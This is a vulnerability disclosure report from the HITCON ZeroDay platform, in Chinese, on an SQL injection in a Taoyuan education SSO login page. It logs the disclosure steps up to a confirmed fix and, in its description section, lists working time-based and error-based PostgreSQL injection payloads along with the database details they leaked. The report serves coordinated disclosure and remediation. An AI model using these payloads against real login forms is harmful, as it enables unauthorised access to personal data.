Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00346
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 桃園市政府教育局教育公務單一認證授權平台 網站存在 SQL injection
- Introduction: 網站存在 SQL injection
處理狀態
目前狀態
公開
Last Update : 2022/11/17
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2022/05/19 11:33:58 : 新提交 (由 BTtea 更新此狀態)
- 2022/05/19 11:38:14 : 新提交 (由 BTtea 更新此狀態)
- 2022/05/19 14:40:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/05/20 14:08:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/05/20 14:08:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/07/19 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2022/09/01 15:14:31 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/09 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2022/11/16 17:19:39 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/11/16 22:06:03 : 確認已修補 (由 BTtea 更新此狀態)
- 2022/11/17 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00346
- 通報者:blacktea_player (BTtea)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://sso.tyc.edu.tw/TYESSO/Login.aspx
敘述
https://sso.tyc.edu.tw/TYESSO/Login.aspx
帳號欄位存在 SQL injection 注入
帳號輸入 SQL 語法,密碼隨意,輸入正確驗證碼點擊登入後,會先彈出帳密錯誤,接著就會彈出 SQL 相關訊息了
得到資料
database name = teos
user = syscom
version = PostgreSQL 11.11 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44), 64-bit
以下為有效 payload 驗證
-- 語法繞過 bypass
,NULL)-- -
time-based payload
',NULL) union select 'a',(SELECT CASE WHEN 1=1 THEN pg_sleep(10) ELSE pg_sleep(0) END)::text-- -
-- 資料庫 time-based payload
',NULL) union select 'a',(SELECT CASE WHEN current_database()='teos' THEN pg_sleep(10) ELSE pg_sleep(0) END)::text-- -
以下為獲取資料 error-based 語法
資料庫名稱
',NULL) union select 'a',(SELECT CASE WHEN current_database()::integer>1 THEN 1 ELSE 0 END)::text-- -
資料庫用戶
',NULL) union select 'a',(SELECT CASE WHEN current_user::integer>1 THEN 1 ELSE 0 END)::text-- -
資料庫版本
',NULL) union select 'a',(SELECT CASE WHEN version()::integer>1 THEN 1 ELSE 0 END)::text-- -
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。